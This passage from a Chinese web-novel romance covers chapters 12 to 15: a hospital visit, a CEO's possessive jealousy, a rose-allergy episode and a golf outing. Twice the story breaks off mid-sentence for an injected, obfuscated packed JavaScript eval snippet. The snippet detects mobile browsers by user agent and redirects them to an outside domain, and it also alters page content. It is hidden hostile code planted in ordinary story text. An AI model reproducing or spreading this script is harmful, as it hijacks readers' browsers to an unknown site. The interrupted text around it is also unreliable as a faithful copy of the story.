“好,我等会儿就去看看。”阮陶然安慰林晓晓道,“能打电话给你,说明阿姨情况还好,你别着急。” “然然,我也不想麻烦你,可我真的没办法了,我在江城没什么信任的人。” “我是真的害怕了,我都不知道她有心脏病,她怎么能瞒着我……” 阮陶然看了眼时间,现在国内是九点,S国那边是半夜了,林晓晓今晚等不到答案,恐怕要一夜无眠。 她拎了手提包就站起来,动作麻利迅速,但语气还是和缓:“晓晓,我现在就去,你别着急啊。” 她推了门出来,正好看见韩悦。 “韩助理,办公室里的保温桶里是玫瑰酒酿,等到纪总会议结束了,你告诉纪总一声。” “我现在有急事,要先走了。” 阮陶然说完,就急匆匆往电梯走。 韩悦忙追上来:“阮小姐,我帮您刷专用电梯,会比较快。” 刷了电梯,又追问了一句:“阮小姐,您去哪儿,要不我送您?” 她还不忘解释:“这会儿纪总在开会,我也没什么事,不耽误事的。” 除了韩悦这个私人助理之外,纪青云还有四个秘书,她走开一会儿没什么。 平日里韩悦对人没有这么热情过,只是总觉得这位阮小姐是不同的。 她在纪青云身边这几年,可没听过纪青云提前吩咐过,若是谁来了就直接带到她办公室。 纪青云吩咐之后,她等了三日,才等到这个传闻之中的阮小姐,怎么这就急匆匆要走了? 阮陶然本想拒绝,听得韩悦这么说,她心里也着急,就同意了:“麻烦韩助理了,去江环医院。” 事出紧急,韩悦开的是自己的车,一辆银白色的奔驰GLC。 阮陶然本想坐到副驾驶的位置,韩悦已经快走两步打开了后座的车门。 她有些手忙脚乱地把后座上的东西拿出来,道:“阮小姐,您等一下,我把东西放后备箱。” 那是个浅绿色的高尔夫球杆包。 上午上班的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691422|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,路不是很堵,但因为车程远,到的时候也已经是四十分钟后了。 又在门口买了果篮,这才去住院区护士站报了林晓晓母亲的名字,知道了病房的房间号。 韩悦还是跟在阮陶然身边,手里也拎了个果篮。 阮陶然本来是想让她回去的,结果她说自己不忙,来都来了,自然要看望病人,也就跟着了。 进了病房,阮陶然就看到最里侧病床上的妇人,穿着病号服,一头花白的头发,手上扎着输液管。 阮陶然没见过林晓晓的妈妈,但见过照片,看了几眼也没敢认。 因为面前的人比照片上的人看起来,消瘦太多了。 但她脸上不显什么,还是挂着灿烂的笑,过去打招呼:“白阿姨,我是晓晓的朋友,晓晓托我来看看您。” “晓晓的朋友?”妇人似乎有些惊讶,忙伸手去拉旁边的椅子,“快来坐。” 阮陶然哪敢让她动手,自己快走两步,拉了椅子给韩悦坐下,然后自己才坐下。 “早知道让你来家里做客了,还能好好招待你,这算是什么样子,还麻烦你拿东西过来。”白凤有些不好意思。 “是我早该拜会阿姨,就怕您忙,耽误了您的时间。”阮陶然也不见外,拆了果篮就给白凤削水果。 “晓晓在外面过得可好了,天天都努力学习,我们同学都喜欢和她玩。” “谈恋爱?没有,她没谈呢,她说要谈了第一件事就是找您把把关。” “可不吗?她天天把她妈妈挂在嘴边,把您夸得跟天仙一样。” “您现在也好看啊,笑起来多有亲和力啊,您该多笑笑。” 阮陶然从来不硬夸,但就是说话带着好,能把人说得心花怒放的。 两个人的聊天话题从林晓晓开始展开,没一会儿都自然地拓展到下次要约阮陶然去家里玩了。 韩悦在一边听着,目光忍不住落到阮陶然身上。 她穿了身嫩黄色的裙子,珍珠发夹熠熠生辉,却挡不住她笑的灿烂。 老人家都喜欢这样嘴甜的小女孩,病房里充满了欢声笑语,和她们刚进来时候的死气沉沉一下子不一样了。 韩悦手机响起来,她看了一眼聊得开心的两人,小步快走出去接电话。 “纪总。” “是的,那壶玫瑰酒酿是阮小姐亲手煮的。” “她已经走了,我和她一起,在江环医院。” “纪总?” 嘟嘟嘟,电话里传来挂断的忙音。 韩悦怔了一下,纪总该不会误会了什么吧? 12. 第 12 章 阮陶然和白凤聊得开心,把老人家哄得一直笑。 她也不说林晓晓在外勤工俭学的艰难,只说林晓晓的好,免得老人家担心。 韩悦欲言又止好几次,终于找到机会插进话来,扯了扯阮陶然的袖子:“阮小姐,纪总来医院了。” “啊?”阮陶然愣了一下,“她生病了吗?” “不是。”韩悦轻声说道,“应该是来找您的。” “既然你有事,那就先走吧,我还没到不能动弹的地步。”白凤虽然这么说着,拉着阮陶然的手依依不舍。 “我有空还来看您。”阮陶然还不忘宽慰老人家,“心脏搭桥是小手术,现在医疗技术这么好,您别放在心上。” 白凤是心梗,冠状动脉堵塞,现在堵塞的程度比较高,过几天要做个搭桥手术。 安慰完了老人家,阮陶然才跟着韩悦的脚步急匆匆走出去,问道:“纪总怎么会来?” “我也不知道。”韩悦摇了摇头,这次不是她嘴严,是真的不知道。 纪青云挂断电话之后,她立马回拨了回去,说清楚了阮陶然只是来探病人。 可没过一会儿,就收到纪青云的消息,说她已经到江环医院了。 车停在地下车库里,开着双闪,隔着老远就能看到。 阮陶然挂着灿烂的笑迎上去:“姐姐。” 纪青云抬眸,眼神淡淡扫了过来,神情不动,一如矜冷不化的冰:“上车。” 阮陶然上了车,车就开走了,离开了江环。 纪青云低头看着手里的报表,阮陶然也不敢说话,只余光悄悄打量着纪青云。 纪青云没办法忽视她的目光:“一直看我做什么?” “好久没见姐姐了,我开心啊。”阮陶然笑得一脸灿烂,看着纪青云,就像是看到了金山银山大宝贝一样。 她眸子里的热情不似作伪,纪青云憋在心里不顺的气稍微顺了点。 阮陶然的目光纯粹是真情实感,纪青云帮她牵了Date的线,在她眼里就是大宝贝。 “等我把这份报表看完。”纪青云没有抬头,金丝眼镜之后,矜冷的眸,工作时候无比认真。 她没问阮陶然去哪儿,车直接带着阮陶然又回了纪氏。 跟着纪青云到了纪氏,回了顶楼办公室,就有西装革履的秘书在办公室里等。 纪青云把手里的报表递出去:“我看完了,没问题,你发下去吧。” “是,纪总。”那秘书拿了文件,转头脚步又急又快地出去了。 这报表看似很着急的样子。 阮陶然指尖轻轻捏着袖口,这么着急的报表没看完,还跑来医院,纪青云在想什么? 纪青云拿起桌上的咖啡喝了一口,目光落在阮陶然的身上。 冷冷的眸子,打量得阮陶然心里咯噔一下,像是被盯上的猎物,也像是被扔在了冰窟里。 “你有什么要说的吗?”纪青云语气淡淡,就像是会议上,在拷问犯了错的下属。 “我……”阮陶然眸子一转,看到摆在桌上的玫瑰酒酿。 她连忙拿过来,把保温桶拧开了:“姐姐,我特地煮的玫瑰酒酿,调节情绪,又滋补身体的。” 她盛了一碗,放到纪青云面前:“就赏脸尝一口,好不好吗?” 她眸子亮晶晶地盯着纪青云,就像是盯着肉骨头的小狗,期待着得到肯定。 幽幽的栀子花的香味,从她的身上飘过来,和着玫瑰酒酿的馥郁香气。 没人能看到这样的眼巴巴不心软,或者这人是纪青云。 她没有接过来,只是静静地看着阮陶然,薄唇轻启:“你特意煮了玫瑰酒酿,送到我办公室里,然后因为不相干的人一个电话,你就走了?” “啊?”阮陶然怔了一下,解释说道,“不是不相干的人,是我好朋友的妈妈。” “嗯?”纪青云眉眼之中的冷色沉了些。 阮陶然下意识停住了嘴,指尖轻轻捏了捏袖口,她总觉得有些不妙。 “不是不相干的人?那就是比我还重要的人?”纪青云语气沉沉。 她站起身来,略有些居高临下地看着阮陶然:“阮陶然,你说你喜欢我,结果一个电话你就跑了?” 她身上草木的香味,像是一张大网,骤然逼近,那双眸子里矜冷的压迫感,阮陶然恍惚听到自己的心跳声。 她在意这个……阮陶然恍惚想起上次她说不准叫阮如月姐姐。 这个人,真的占有欲很强,压迫感也很强。 阮陶然眸子里没有惧,只是小心拉住了纪青云的袖子:“当然没有你重要啊。” “可她心脏病发,是危及生命的事……”阮陶然的话没能说下去。 因为纪青云眸底还压着冷气,睫羽之下,似乎暗潮翻涌,暴风雨欲来,黑云压城。 她在说,就算是那人死了,也不能比她重要。 阮陶然不说了,又把玫瑰酒酿端过来:“我特地煮的,你喝一口好不好?” “为了煮这个,我还烫了手呢。”说着,阮陶然把自己的手伸过来。 白皙的指头上,一片小小的还没有消除的红印。 一双湿漉漉的眼睛,看起来像是可怜巴巴的小鹿:“姐姐,要不要尝一口?” 纪青云的眸子似乎松了松,接过玫瑰酒酿,犹豫了一下,还是尝了一口。 “是不是很好喝?”阮陶然笑盈盈地看着她,拉着她到椅子上坐下,“坐着吧,开了一上午会,挺累的。” “要不我帮你捏捏肩,我学过的,很厉害的。”阮陶然说着,两只手已经放在了纪青云的肩颈处。 她力道不重,就这么轻轻揉着,恰到好处,一股淡淡的栀子花香萦绕在纪青云身边。 “嗡嗡——”阮陶然放在桌上的手机震了震。 阮陶然看了一眼纪青云的脸色,大概好了些了,试探着伸手把手机拿过来了。 是沈秋序的消息,告诉她稿子已经通过了,让她下周去Date参与制作样品。 纪青云的眸色看过来,阮陶然连忙说道:“是沈老师的消息,她告诉我设计稿通过了。” “还要多谢姐姐帮我牵线,否则我哪有这么好的机会啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691423|173368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”阮陶然笑得甜。 却听到纪青云问道:“你很喜欢沈秋序?” 前面已经吃了亏,阮陶然必不可能顺着这个说了。 “沈老师是设计圈里的大佬,我只是个萌新,大佬指点的话,我这个萌新肯定要听。” “那这个呢?”纪青云拉开了抽屉。 抽屉里躺着一只山茶花胸针,完全枯掉了。 阮陶然瞪大了眼睛,这个,怎么会在这儿? 纪青云已经站起了身子,阮陶然迎着她的目光,下意识往后了一步,腿已经抵在了桌子边上。 哗啦一声,碰倒了桌面上的文件堆,阮陶然的手不知道往哪儿放。 她与纪青云四目相对,只觉得像是被一只豺狼紧紧盯住。 纪青云的手搭在桌面上,把她困在桌子前面的小小空隙里。 她单手取了金丝眼镜,随手扔在桌子上。 修长的指节抵住了阮陶然的下颌,那双矜冷清贵的眉眼靠近过来,呼吸几乎要融在一起。 阮陶然看到那眸子里的暗潮翻涌,周身被锁得严严实实,她丝毫不怀疑,她会被纪青云吃掉。 脱掉了眼镜的纪青云,少了些禁欲,多了些眉眼勾人的味道,眸色里暗潮汹涌。 “这件衣服?她从你衣服上把胸针拿走的吗?”纪青云逼近了些,指尖落在阮陶然的外套上。 “她碰过你这件衣服?” 她今天恰穿了那天一模一样的穿搭,还是那件蕾丝外套搭着嫩黄色的裙子。 “我……”阮陶然张了张口,却发现不知道从何解释。 或者说,迎着那双暗潮翻涌的眸子,她顿时被气势压得死死的,一句都解释不出来。 “脱了。”纪青云松开了手,眸色沉沉地看着阮陶然。 阮陶然愣了一下,然后有些手忙脚乱地脱掉了外套。 纪青云接过来,看也不看,随手就丢进了垃圾桶里。 阮陶然和她离得很近,近到能听到她的呼吸声,看到鼻翼上的眼镜托的痕迹。 “咚咚咚——”外面传来轻轻的敲门声,是韩悦的声音:“纪总?” 气氛凝住片刻,纪青云拉远了和阮陶然的距离,捡起桌上的眼镜戴上。 再坐回到椅子上的时候,眸子里已经恢复了平静,还是那个八风不动的纪总。 “进来。”她淡淡的声音扬起来。 韩悦推门进来,看到倒在地上的文件夹,眉毛一跳,也不敢问。 只是说道:“纪总,您午饭要和阮小姐一起……” 她声音顿住,看到桌上的玫瑰酒酿,脸上一贯的沉稳顿时没了,脸色一瞬间变化:“纪总,你喝了这个?” 阮陶然被韩悦的慌张惊住了:“喝了一点……” 韩悦似乎是轻轻吐了口气,陪着小心问道:“纪总,要不要把午饭时间推后,先陪您去医院?” 说完,她看向阮陶然,小声解释道:“纪总玫瑰过敏,只要接触一点,就会气喘呼吸困难。” 往日里,她都是小心谨慎,纪氏装饰的各种鲜花从来不敢出现玫瑰。 13. 第 13 章 庆南医院,VIP病区,长长的步道上映着暖色的灯,绿植在风中轻轻摇曳。 静音门扉开合无声,空气中的消毒水气息几不可闻,是一种淡淡的铃兰幽香,大理石镶嵌的墙面上的显示屏里,播放着此时的空气温度和湿度,时间指向,下午一点钟。 护士长来挂了水,医生正小心地跟韩悦交代注意事项。 阮陶然也跟着听着,目色忍不住往病床上看。 纪青云垂眸,单手握着手机在打电话:“不碍事,只是过敏,不用麻烦陆总来一趟了。” “陆总这么客气,下次我都不敢来庆南医院了。” “帮我向顾医生问好,也不必麻烦她专门来一趟了。” 她挂了电话,抬头与阮陶然目色撞上,眸子淡淡,恍如三九霜棱,然后就收了回去。 就在阮陶然怔住的时候,她听到纪青云淡淡的声音:“过来。” 阮陶然在床边的椅子上坐下了,目光落在纪青云的手腕上。 手腕修长,腕骨精致,莹润白皙地像是供在景德镇博物馆里的白瓷雕塑,扎了输液针,液体顺着针头流进去。 “饿了没?”是纪青云先开口说了话。 她这话是问句,却不等答案,直接吩咐道:“韩悦,让人把午饭送到医院来。” 韩悦颔首称是,然后就轻轻推门出去了。 门关上,室内一片静寂,只剩下阮陶然和纪青云两人。 沉默了半晌,又是纪青云先开口说话:“怎么不会说话了?” “在江环医院的时候,不是很能说吗?你们相谈甚欢,你笑得开心,最后离开的时候都依依不舍的?” “在我面前,就变成哑巴了?” “没有……”阮陶然抿了抿唇,低着头,仿佛做错了事情的小孩,不敢抬头看纪青云一眼。 她不知道纪青云玫瑰过敏,更不明白,这人明明知道过敏,怎么那一口就喝下去了。 阮陶然知道她还介意早上的事情,小声解释道:“没有那么相谈甚欢,笑也只是为了逗病人开心。” 眉眼淡淡,纪青云的语气之中听不出情绪的起伏:“我现在不是病人吗?” 阮陶然瞪大了眼睛,骨碌碌的眸子定住,就像是听到了什么非同凡响的话。 这是纪青云能说出来的话? “我笑不出来。”阮陶然小声嘀咕了一句,“你在病床上,我怎么笑得出来?” 顿了一下,轻轻的声音飘过来:“你们又不一样,她只是无关紧要的人。” 她的语气怯怯的,纪青云的角度只能看得到她浅棕色的发顶,看不到她的神情。 像是犯了错的小孩,不知所措,难过得要哭出来了一样。 纪青云眸色松了松,靠回到床头,淡淡道:“不用笑了,倒杯水过来吧。” “好。”阮陶然抬眸,眼睛仿佛一瞬间亮了起来,站起来的时候,发丝儿都透着雀跃。 纪青云接过水杯,睫羽微抬:“现在又高兴了?” “姐姐不生气了,我当然高兴了。”阮陶然在床上贴着纪青云坐下了,小心翼翼躲开了输液的管子。 端过来的这杯水,只是轻轻沾了沾纪青云的唇,就被她放下了。 阮陶然的身体紧紧贴在她身边,但又带着小心翼翼不敢压上来。 她能闻到阮陶然身上那股清雅的栀子花香的味道,像是春天日光晒透了花瓣之后,温暖的香气。 柔和的金黄的,透着甜香味道的光,缓缓落在她的身旁,满眼都是她的模样。 纪青云的手机响起来的时候,眉梢忍不住轻轻跳了下,从温暖的栀子花香味里被拉出来。 阮陶然已经主动拿过来她的手机,递到了她的面前。 手机屏幕上跃动着来电人的备注——爷爷。 纪青云接了电话,阮陶然犹豫了一下,恢复刚才的姿势,在纪青云身边贴着躺下来。 纪青云的声音淡淡的,如浮冰碰撞清冷,字句机械性流淌而出,不扬起涟漪,散在空气里。 “爷爷。” “在医院。” “好,我知道了,晚上我会回去的。” 阮陶然没刻意听电话里的声音,也不太听得清楚。 只依稀听到,似乎是什么大哥的生日会,要纪青云回去参加。 电话很短,短得阮陶然甚至有些没反应过来,纪青云就把挂断了的手机递过来了。 她说了在医院,电话里的爷爷,甚至没有问一句,在医院做什么,现在的情况好不好吗? 阮陶然忍不住想起纪氏的情况,几十口子的大家庭里,看似都是亲人,实际上一个亲人都没有。 她忍不住有些心疼起纪青云起来。 她也不伪装,就直愣愣看着纪青云表达了出来:“爷爷怎么也不问问你好不好?” “只是过敏,小问题。”纪青云只是简单回应,一切熟稔地似乎是发生了千百遍一样,不在意,不放在心上。 金丝眼镜的镜片后面,一双清冷的眸子,浅琉璃色,疏冷矜贵,平静得像是一片冰原。 阮陶然和那双眸子四目相对,却不觉得畏惧,只是放了手机,又轻轻贴了上去:“那我陪着姐姐就好。” 纪青云目之所及,看到浅棕色的发,和发丝掩映之下的白皙脖颈,眸色微沉:“那是我爷爷,你叫得倒是顺口。” “姐姐的爷爷就是我爷爷啊,一样的。”阮陶然抬起头,眸子里像是洒落了星辰。 “你确定?”纪青云指尖擦过她鬓边的发。 阮陶然喉头微微紧了紧,她看着金丝眼镜后面那双矜冷的眸子。 总想起,她刚刚在办公室把眼镜扔掉的时候,那双矜冷眸子里的暗潮翻涌。 像是盯着猎物的豺,又像是汹涌澎湃的浪,能一瞬把人淹没。 阮陶然眼睛眨了眨,却不惧怕,伸手搂住了纪青云的胳膊:“当然啊,我有空还想拜访老人家呢。” 纪青 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阮陶然补了一句:“筷子我没用过,干净的。” 她笑着看着纪青云,阳光穿过发梢,脸上若撒了细碎的金箔,炙热耀眼的灿烂。 纪青云微微张开嘴,把这块虾仁吃掉了。 阮陶然眉眼里都是笑意,纪总看上去冷得拒人千里之外的,其实骨子里可爱得很。 纪青云吃得差不多了,阮陶然给她盛了碗菠菜汤,然后才开始吃饭,没吃几口,也就放下了筷子。 纪青云看在眼里:“不合你胃口吗?” “还行。”阮陶然敷衍了一句。 没有说好吃,那就是不好吃,纪青云心里大概了然。 纪青云道:“下次我让韩悦带你出去吃。” “不要。”阮陶然摇头,皱着眉头,“姐姐,你嫌弃我在这儿影响你食欲了?” 纪青云知道公司里那些年轻小姑娘大多重口味,喜甜嗜辣。 纪青云喜欢清淡,和老年人能吃到一起去。 纪青云缓缓说道:“我只是觉得,我喜欢的菜不合你胃口。” “合我胃口,我喜欢呢。”阮陶然直接打断了纪青云的话。 睫羽扇动若蝶翼,她已经把碗筷收拾好了,又凑到纪青云身边躺着,小声嘀咕道:“我喜欢和姐姐一起吃饭。” 阮陶然在国外呆习惯了,国外那种食物环境都能吃得下去的人,中国菜,咸的淡的都喜欢。 而且阮陶然从小就没有挑食的权利,寄人篱下,有口吃的就不错了。 今天也不是因为不喜欢,单纯是不太饿。 纪青云往旁边挪了挪,给她挪出来点位置。 睫羽轻轻垂下,唇角却忍不住松了松弧度。 这人太喜欢她了,为了能和她一起吃饭,口味都会变的。 14. 第 14 章 输液药水滴完的时候,已经是下午三点钟了。 阮陶然起初还瞪着眼睛盯着药水瓶子看,后来不知不觉就睡着了,春困,尤其是吃饱了的中午,格外困。 纪青云起身的时候,她还在睡,阳光打在浓密的睫羽上,在脸上留下两片小小的阴影,脸颊上透着粉。 她似乎在做一个甜甜的梦,唇角都洋溢着笑意,能看见若有若无的小梨涡。 纪青云拔了针,穿好了外套,把腕表扣在手腕上,淡淡道:“把她叫起来吧。” 韩悦轻手轻脚走到床边,小声喊:“阮小姐,阮小姐……” “唔……”睡梦之中的小姑娘被惊醒了,不太愿意地把脑袋往枕头里面扎了扎。 “阮小姐,我们要走了。”韩悦继续轻声说着。 阮陶然闭着眼睛,又把脑袋往枕头里面扎了扎。 “我来吧。”纪青云的声音打断了韩悦,坐在了床边。 似乎是朦朦胧胧睡意之中的本能,阮陶然翻了个身靠了过来,然后伸手揽住了纪青云的腰。 “姐姐……”她呢喃了一句,尾音之中带着拖长的依赖。 韩悦眼皮一跳,不动声色地走了出去,顺便带上了门。 纪青云被她抱了满怀,动作微微顿了顿,伸手轻轻捏了捏她的脸:“起床了。” 阮陶然睁开眼睛,就在纪青云的怀里,抬起头来和她四目相对。 一双朦朦胧胧的小鹿眼里面,睡意散去,微微睁大了,有些惊讶。 阮陶然这才注意到,她换了上午的西装,穿了件亚麻色的衬衫外套,里面是件墨绿色的背心内搭。 松松的衣料,露出来一截白皙的脖颈,还有脖颈之下如玉匙卧着的锁骨。 她没有戴饰品,脖子上空着,却越发显得皮肤像是透着冷气的冰玉。 清冷的眸,掩盖在金丝眼镜之后,衣袖挽起来到小臂,黑发随意披落,透着一股清冷的禁欲感。 但对于这样的姐姐来说,禁欲到了极致,就是一种欲。 她恍如受惊一般,松开了手,直接从床上坐了起来:“对不起,我……” “没事,走吧。”纪青云已经站起了身。 阮陶然的睫羽忍不住颤了颤,压下心里的想法,下了床。 她刚才是故意滚到纪青云的怀里去的,这种懵懵懂懂的依赖,没有人会不喜欢。 但现在阮陶然觉得有些后悔了,在纪青云的怀里看到了不一样的风光,她有些心跳如雷。 这种有些失控的感觉,超出她的预期。 她是只想把纪青云当做小时候那样,与人为善,处理好关系,别的没什么的。 这句话,阮陶然在心里重复了好几遍,才把心跳如雷的感觉压下去。 阮陶然跟着纪青云上了车,才想起来问:“姐姐,你下午不回去上班了吗?” “约了人,打高尔夫。”纪青云眉眼,在窗外落进来一栏一栏的光线之中,显得晦暗不清。 “中午才进了医院,下午就去打球啊?”阮陶然蹙着眉毛问了一句。 坐在副驾驶的韩悦从后视镜偷偷看了眼纪青云的表情。 说实在的,她还没见过阮小姐这么胆大的,从来没人敢质疑纪青云的决定,也从来没人敢滚到纪青云怀里。 纪青云指尖顿了顿,眸色落在窗外,道:“不要紧,没出现什么严重症状。” 在症状出现之前,就已经入了院,再加上吃进去的不多,药物压下去之后,几乎没什么反应。 阮陶然眼睛微微一转,凑过去拉住了纪青云的衣袖:“带我一起去好不好?” 她想起来韩悦车里的高尔夫球杆,这人病了还要去打球,可见很喜欢打球了。 她必须得了解纪青云的爱好,黏住了,建立彼此之间的美好记忆。 纪青云还没说话,阮陶然就继续说道:“我不放心,你就带我一起去,我跟着绝不捣乱。” 纪青云似乎是轻轻笑了一下,阮陶然没听明白,抬头的时候,那张脸上不见有笑意。 纪青云的语气一如既往平淡:“本来就是要带你去的。” “啊?”阮陶然眨了眨眸子,她也没想到。 “做错了事情,不用付出代价吗?”纪青云语气微冷,如拂岗而过的山风。 “今天下午,你给我当球童。”纪青云单手撑着额角,闭上了眸子,似乎只说了件无足轻重的事情。 阮陶然能差不多想明白,纪青云说得不是玫瑰酒酿的事情,应该是为了再早些的事情。 阮陶然眨了眨眼睛,外套都被扔了,人也从医院跟着回来了,这人还惦记着呢。 不过她也不生气,越是这样,她越觉得纪青云重视她,她的目的就达到了啊。 所以下车的时候,阮陶然蹦蹦跳跳的步伐里都透着开心。 阳光落在她发上的珍珠发夹上,折射出来温柔的光线,她开心得像是只到了夏天里的小蝴蝶。 然后就直接看到了,在等着她们的冯珊珊和沈秋序。 沈秋序穿了身藕荷色的衣裤套装,上面带着莲花纹路的刺绣,有些复古风的元素。 墨发随意扎起来,依旧是清婉端庄美人的气质。 遥遥看见纪青云和阮陶然,冯珊珊拉着沈秋序迎过来:“纪总今天还带了阮小姐一起来啊。” “沈老师好,冯姐姐好。”阮陶然说着,伸出手去握手。 冯珊珊只是碰了一下,就收回了手:“那今天要看看阮小姐的球技了。” 沈秋序却是上看下看了一番:“上次我见你这身外面搭了件蕾丝外套还挺好看,这样看起来素了点。” 不过或许是出自于对阮陶然的喜爱,沈秋序自带滤镜:“这样也挺好看,衬得你这个人更突出。” “多谢沈老师夸奖。”阮陶然笑意盈盈,“沈老师这一身也好看,这是湘绣?” “你居然懂这些。”一提到这个,沈秋序的眼睛忍不住微微亮了亮。 上次见阮陶然,她穿的是一身苏绣,今天这高尔夫球服是定制的,绣的是湘绣。 “好了好了,什么苏绣湘绣的,时间已经不早了,我们还是开始打球吧。”冯珊珊强行挤到两个人中间。 “你这人,没有文化,也不懂艺术,我好不容易遇见知己……”沈秋序不满地嘟囔了一声。 “不就是几个绣片子,过几天我找几个绣娘,好好跟你聊。”冯珊珊再次打断了沈秋序的话。 “粗俗。”沈秋序秀眉微蹙,看着冯珊珊的眸子里有些嫌弃,“一身的铜臭味。” 冯珊珊并不想和她争辩,她本就是商人,一身铜臭味,那是对她最高等 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“吃醋了你早说,大小姐我石榴裙下的色痞不少,多你一个也不多。”她优雅的眉眼,扬起志得意满的弧度。 冯珊珊:“……”她转身就走了。算了,不管了,让这大小姐作生作死算了。 这大小姐是不懂人情世故的,上次纪青云花七位数拍她胸口上那枚鲜花胸针,她还不懂什么意思吗? 在场别的人都以为纪青云是为了慈善,给沈秋序这个大设计师面子,她们俩可是知道那胸花的来历的。 沈秋序不满道:“喂喂喂,你一眼都不看就走了什么意思?” 阮陶然去换了球童的衣服。 把头发挽起来,白色的短裙套装,胸口别了个向日葵的胸针,充满元气。 韩悦看着人走出来,都忍不住愣了一下神,阮陶然五官精致,又充满活力,穿起来像是舞台上的小爱豆。 阮陶然也忍不住对着镜子看了两圈:“这球童的衣服,我穿起来还挺合身的。” “是。”韩悦笑着应了一句。 那可不是,前两天按照阮陶然的尺码紧赶慢赶定制出来的,就连这胸针都是手作,鞋子都是从国外买的。 多亏了纪青云是顶级vip,不然这套衣服都做不出来。 纪青云走出来,她也穿了一身白,白又长的裤身,简简单单款式的球衣,衬得人身材窈窕。 她本就气度矜冷,一身白,衬得眉眼之中的疏离更甚,浅琉璃色的眸子扫过来的时候,有一种身居高位的压迫感。 阮陶然站在纪青云面前,忽然有句名言在脑子里闪过去,那叫什么来着,清纯在什么面前一无是处…… “姐姐真好看。”她不吝夸奖,笑容灿烂地迎上去,“这身好衬你的气质。” “刚才你也是这么夸沈秋序的?”纪青云的语气淡淡,抬手对着镜子整理了一下衣领。 阮陶然顿了一下,还没来得及回答,就见纪青云转过身来,一双眸子,紧紧盯着她,冰冷彻骨,透着压迫感。 纪青云拿起旁边的遮阳帽,扣在阮陶然的头上:“今天你是我的球童,任务是跟着我,记住了吗?” 阮陶然眨巴眨巴眼睛,差点忍不住轻轻笑出来,纪总,怎么透着点儿小朋友别扭的可爱呢? 15. 第 15 章 阮陶然不会打高尔夫球,也不知道球童要做什么,不过按照纪青云的安排,跟着就行。 这个球场是冯珊珊的私产,今天只为了他们服务,准备的球童比阮陶然不知道专业了多少个档次。 球童极其专业地跟大家介绍今日球场的布局、球洞的数量位置、球道的湿度和草质、果岭的速度和硬度…… 阮陶然不怎么听得懂,却也没有神游天外,纪青云这么喜欢打球,她当然要了解了解。 她听不懂,所以就要用百分之三百的注意力去听,一双眼睛亮晶晶地盯着球童,听着她说的每一句话。 日色正好,挂在她的睫羽上,随着扇动的睫羽,那脸颊下小小的阴影也轻轻的动,唇角带着笑,就像是在讲台下面,一双求知若渴的眼睛盯着老师,乖乖巧巧的好学生。 微风吹过,扬起鬓边的发梢一晃一晃的,不知为何,总让人想起来,毛茸茸的可爱的小动物。 冯珊珊看出来她很有兴趣,道:“不如今天就阮小姐先开球?” “我?”阮陶然怔了一下,然后就听到纪青云的声音,“她今天是球童,我们还是抛球决定开球顺序。” “球童?”冯珊珊眸子之中迅速涌上来一层笑意,“球童好啊,那就阮小姐来抛球吧。” 冯珊珊一下子就读懂了,那是两个人之间的情.趣,但不通人情世故的沈大小姐显然是没想到这一层。 她不解说道:“然然一起玩啊,我们只是娱乐局,输赢都没什么关系的。” 冯珊珊:“……”她就是后悔,平时带着沈秋序就算了,今天不应该带着她的。 其实也不是她主动邀请的,沈秋序喜欢打高尔夫,听说她今天要来打球,非要跟着。 别的人,她还有办法,面对沈秋序这位大小姐,她是真的拗不过她的缠。 “不用了。”阮陶然开口拒绝了,笑意灿烂说道,“我今天是来给姐姐当球童的,要专心才好。” “来球场不打球多没意思?”沈秋序又补了一句。 冯珊珊拉了拉她的袖子,我的姑奶奶,你还真是什么都不懂啊。 沈秋序转身看向冯珊珊,不满地蹙了蹙眉毛:“你拉我干什么?” 冯珊珊脸上带着得体的笑,礼貌地说道:“沈老师,我看你衣服有点脏,帮你拍了拍。” 脸上是笑,眸子里是杀意,我的大小姐,闭上你的破嘴吧。 冯珊珊觉得自己是个大冤种,她明明是沈秋序的老板,却硬生生干出来了一种大小姐和她的冤种仆人的感觉。 “真的不用了,我不打球。”阮陶然连忙拒绝,补了一句,“给姐姐当球童也很有意思,很开心的。” 她一笑起来,映着胸前的向日葵胸针,看不出来哪个更灿烂了,只是眸底盛满了星子,整个人都暖洋洋的。 “嗯,抛球吧。”纪青云把球放到阮陶然手里,指尖擦着阮陶然的手心过去。 她的指尖有些凉,像是温凉的玉,手上也没有戴戒指,只一个白金腕表,衬得手型修长好看。 她的语气很淡,但阮陶然明显注意到,刚才她说完那句话之后,唇线的弧度轻轻变了变。 纪总很喜欢,她把她放在心上。纪总不说,但纪总心里接纳了。阮陶然忍不住笑容更浓了几分。 纪青云忍不住抬手按了按她的脑袋:“别傻笑了,抛球。” 她的发顶软软的,摸上去也像是摸小动物的触觉,把手收回来的时候,总觉得手上也染了栀子花的香气。 球童很有眼力见上来,大概给阮陶然说了下抛球的规矩。 阮陶然随意一抛,正正好就是纪青云的球最远,纪青云拿到了先手开球的机会。 阳光映照之下,纪青云的球服勾勒出来极好的身材比例,发丝垂落,衬得身材窈窕。 落在小白球上的眸色,冷冷淡淡,却有着几分认真,大致评估了角度和方位,引杆,杆头划过一道优美的弧线。 腰部发力,手臂和球杆一起挥舞下去,砰,清脆的击球声,球划出一道完美的抛物线飞出去。 阮陶然的目光没有跟着小白球远去,而是定定地落在纪青云的背影上。 纪总真的是生得好看,步态之中能看出来,她应该有健身的好习惯。 